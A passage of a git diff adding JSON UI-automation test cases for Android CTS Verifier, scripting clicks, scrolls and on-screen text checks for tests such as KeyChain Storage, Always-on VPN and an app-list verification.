Button\",\"actionId\":\"8e5ce0be-86f8-4632-acb8-efce21460712\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"b352895c-6ca2-4c19-b2f1-61c9ad01ff50\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"7f12c16f-51be-4732-bf1b-ef4b55841a99\",\"2696cccb-f4b1-4b1f-b5ef-fe93f2345a11\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"cae61682-7071-4c67-94c1-963ff2cbe978\",\"8e5ce0be-86f8-4632-acb8-efce21460712\",\"b352895c-6ca2-4c19-b2f1-61c9ad01ff50\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"02-Quick settings disclosure","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.217000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c06f1557-8c66-44c1-8dc2-dad782d2f597 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c06f1557-8c66-44c1-8dc2-dad782d2f597
new file mode 100644
index 0000000..b50e610
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c06f1557-8c66-44c1-8dc2-dad782d2f597
@@ -0,0 +1 @@
+{"uuid":"c06f1557-8c66-44c1-8dc2-dad782d2f597","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify that the list contains the CTS Verifier app\",\"actionId\":\"c06f1557-8c66-44c1-8dc2-dad782d2f597\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify the list contains the CTS Verifier app\",\"actionId\":\"ff81af88-2d59-43cd-9f3d-b114090d6217\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"CTS Verifier\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"4cb611c8-e15c-4a54-8e4d-c937b1707148\",\"displayText\":\"CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"96788dbb-cbbb-4929-ba76-d24d923e25b5\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"96a96ab1-c914-47a6-9b10-cbe10455e45d\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":83.0,\"x2\":42.0,\"y2\":111.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":79.5,\"x2\":63.0,\"y2\":114.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"12d60304-e034-41db-8a15-524e1064b2d7\",\"displayText\":\"CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"66150d52-d64f-48d0-9464-108aec7af89a\",\"displayText\":\"CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"CTS Verifier\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":87.5,\"x2\":137.75,\"y2\":106.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":7.375,\"y\":-1.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"CTS Verifier\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":73.5,\"x2\":346.0,\"y2\":120.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"CTS Verifier\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":73.5,\"x2\":360.0,\"y2\":120.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":93.0,\"y\":98.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":87.0,\"y\":-1.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"66150d52-d64f-48d0-9464-108aec7af89a\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"CTS Verifier\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":44.0,\"y1\":82.0,\"x2\":142.0,\"y2\":115.0}}],\"childrenIdList\":[\"ff81af88-2d59-43cd-9f3d-b114090d6217\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify that the list contains the CTS Verifier app","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.177000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c0787b92-a6be-4e72-a8b9-7b99d133be03 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c0787b92-a6be-4e72-a8b9-7b99d133be03
new file mode 100644
index 0000000..81af778
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c0787b92-a6be-4e72-a8b9-7b99d133be03
@@ -0,0 +1 @@
+{"uuid":"c0787b92-a6be-4e72-a8b9-7b99d133be03","details":"{\"type\":\"CompoundAction\",\"name\":\"test_KeyChain Storage Test\",\"actionId\":\"c0787b92-a6be-4e72-a8b9-7b99d133be03\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to KeyChain Storage Test\",\"actionId\":\"1c6e97ce-d813-4868-9482-2d82626b542c\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"KeyChain Storage Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"b57011bc-0755-401d-a052-8681d4613aa4\",\"displayText\":\"KeyChain Storage Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"KeyChain Storage Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":542.0,\"x2\":350.6666666666667,\"y2\":586.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":100.0,\"y\":567.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":80.0,\"y\":-3.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"b57011bc-0755-401d-a052-8681d4613aa4\",\"firstText\":\"KeyChain Storage Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"KeyChain Storage Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":6.0,\"y1\":544.0,\"x2\":194.0,\"y2\":590.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, KeyChain Storage Test\",\"actionId\":\"e36a7f24-a571-40a4-bc1c-fb358312e46f\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"KeyChain Storage Test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/user_certificate\",\"actionId\":\"e0778a1e-fe4a-49a6-be08-13d83b4174c7\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.certinstaller:id/user_certificate\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify Cert KeyChainTet Key appear\",\"actionId\":\"9d93043e-c8a4-4041-8052-93e4b0e0267b\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"KeyChainTest Keys\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"7269421a-1723-4c91-9ff3-3d1e608b8484\",\"displayText\":\"KeyChainTest Keys\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"839353dc-e92f-4e1c-8036-59221752d5d0\",\"displayText\":\"Certificate name\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"ce537625-73fa-4c17-948e-59fb7eaafcaf\",\"displayText\":\"Certificate name\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"84e4e1c0-3e78-4f09-ac07-bc2538dc36d5\",\"displayText\":\"Certificate name\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"text\":\"Certificate name\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":38.666666666666664,\"y1\":353.3333333333333,\"x2\":321.3333333333333,\"y2\":371.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Certificate name\"},{\"uuid\":\"1268255d-f29c-4c00-8831-745a1848e532\",\"displayText\":\"KeyChainTest Keys\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.EditText\",\"resourceId\":\"com.android.certinstaller:id/certificate_name\",\"text\":\"KeyChainTest Keys\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":38.666666666666664,\"y1\":371.0,\"x2\":321.3333333333333,\"y2\":412.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":64.0,\"y\":0.16666666666662877,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"KeyChainTest Keys\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":24.0,\"y1\":338.6666666666667,\"x2\":336.0,\"y2\":427.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Certificate name\"}],\"className\":\"android.widget.ScrollView\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":24.0,\"y1\":338.6666666666667,\"x2\":336.0,\"y2\":427.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Certificate name\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"android:id/custom\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":24.0,\"y1\":338.6666666666667,\"x2\":336.0,\"y2\":427.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":116.0,\"y\":391.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":64.0,\"y\":-8.666666666666629,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"1268255d-f29c-4c00-8831-745a1848e532\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"KeyChainTest Keys\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":35.0,\"y1\":381.0,\"x2\":197.0,\"y2\":402.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, select button\",\"actionId\":\"a98c3909-2198-4b01-948e-965d61fb92a4\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"1923dc3d-d1dc-4de2-9093-4482317b65c2\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Encryption & credentials\",\"actionId\":\"8d6baeed-119f-48f9-81a5-d4b18f0f6683\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Encryption & credentials\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"f54875ef-9094-4ff7-b30b-68e8e9ab14dd\",\"displayText\":\"Encryption & credentials\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"c98f7d82-32af-489d-a1a5-9a7805658ec9\",\"displayText\":\"Encryption & credentials\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b0cb87d1-49d6-45e9-a46a-d33f04bdb773\",\"displayText\":\"Encryption & credentials\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Encryption & credentials\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":713.0,\"x2\":226.66666666666666,\"y2\":732.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":3.3333333333333144,\"y\":-0.16666666666674246,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Encryption & credentials\"},{\"uuid\":\"3163c280-bbb9-4ca3-9123-639f74d1a745\",\"displayText\":\"Encrypted\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Encrypted\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":732.6666666666666,\"x2\":124.0,\"y2\":736.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Encrypted\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":698.3333333333334,\"x2\":345.3333333333333,\"y2\":736.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Encryption & credentials\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":698.3333333333334,\"x2\":360.0,\"y2\":736.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":143.0,\"y\":723.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":37.0,\"y\":-5.8333333333332575,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"b0cb87d1-49d6-45e9-a46a-d33f04bdb773\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Encryption & credentials\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":60.0,\"y1\":712.0,\"x2\":226.0,\"y2\":734.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Encryption & credentials\",\"actionId\":\"21fcb392-c011-46b3-a0ab-b64f24f822f9\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Encryption & credentials\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Clear credentials\",\"actionId\":\"06b49de5-040f-49b6-ae07-992b28309a5c\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Clear credentials\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"8c9c888e-186f-4459-9c74-4847497b7fbc\",\"actionType\":\"INPUT_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"7bedf4fb-c79a-4b0c-a1c0-d40e9e524a7d\",\"actionType\":\"INPUT_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"1c6e97ce-d813-4868-9482-2d82626b542c\",\"e36a7f24-a571-40a4-bc1c-fb358312e46f\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"fdcaf63b-bd85-431d-a212-51c1af4d3204\",\"fdcaf63b-bd85-431d-a212-51c1af4d3204\",\"fdcaf63b-bd85-431d-a212-51c1af4d3204\",\"e0778a1e-fe4a-49a6-be08-13d83b4174c7\",\"21408006-0414-473e-87dd-282a2f4cce97\",\"9d93043e-c8a4-4041-8052-93e4b0e0267b\",\"21408006-0414-473e-87dd-282a2f4cce97\",\"fdcaf63b-bd85-431d-a212-51c1af4d3204\",\"fdcaf63b-bd85-431d-a212-51c1af4d3204\",\"a98c3909-2198-4b01-948e-965d61fb92a4\",\"fdcaf63b-bd85-431d-a212-51c1af4d3204\",\"fdcaf63b-bd85-431d-a212-51c1af4d3204\",\"1923dc3d-d1dc-4de2-9093-4482317b65c2\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"8d6baeed-119f-48f9-81a5-d4b18f0f6683\",\"21fcb392-c011-46b3-a0ab-b64f24f822f9\",\"06b49de5-040f-49b6-ae07-992b28309a5c\",\"21408006-0414-473e-87dd-282a2f4cce97\",\"8c9c888e-186f-4459-9c74-4847497b7fbc\",\"7bedf4fb-c79a-4b0c-a1c0-d40e9e524a7d\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_KeyChain Storage Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.258000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c0bfb788-3dfc-45f1-8def-af860884289c b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c0bfb788-3dfc-45f1-8def-af860884289c
new file mode 100644
index 0000000..2713f0b
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c0bfb788-3dfc-45f1-8def-af860884289c
@@ -0,0 +1 @@
+{"uuid":"c0bfb788-3dfc-45f1-8def-af860884289c","details":"{\"type\":\"CompoundAction\",\"name\":\"16-11-Always-on VPN\",\"actionId\":\"c0bfb788-3dfc-45f1-8def-af860884289c\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Always-on VPN\",\"actionId\":\"0bb98e47-fb28-44e6-b73c-33bb3ae8b459\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Always-on VPN\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"010d6b7d-a228-4433-91c7-9c098d2a1d85\",\"displayText\":\"Always-on VPN\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Always-on VPN\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":536.0,\"x2\":351.3333333333333,\"y2\":578.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":62.5,\"y\":553.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":117.5,\"y\":3.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"010d6b7d-a228-4433-91c7-9c098d2a1d85\",\"firstText\":\"Always-on VPN\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Always-on VPN\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":8.0,\"y1\":542.0,\"x2\":117.0,\"y2\":565.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Always-on VPN\",\"actionId\":\"e99c0f45-90db-4b93-85e4-5ec1ccc17688\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Always-on VPN\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are not told that an always-on VPN is set\",\"actionId\":\"5427a518-29b8-4461-859a-fa6be96c51ba\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Always-on VPN turned on\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"54edb3da-2350-4b10-b928-2d4b2714562b\",\"displayText\":\"Always-on VPN turned on\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"ecf44072-2d88-4088-a673-90d5b7a5c74b\",\"displayText\":\"Always-on VPN turned on\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"13a4f5f4-1b79-40a8-a096-24e824ed9f5e\",\"displayText\":\"Always-on VPN turned on\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Always-on VPN turned on\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":415.6666666666667,\"x2\":226.0,\"y2\":434.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":2.0,\"y\":-1.3333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Always-on VPN turned on\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":401.6666666666667,\"x2\":346.0,\"y2\":448.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Always-on VPN turned on\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":401.6666666666667,\"x2\":360.0,\"y2\":448.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":142.5,\"y\":426.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":37.5,\"y\":-1.3333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"13a4f5f4-1b79-40a8-a096-24e824ed9f5e\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Always-on VPN turned 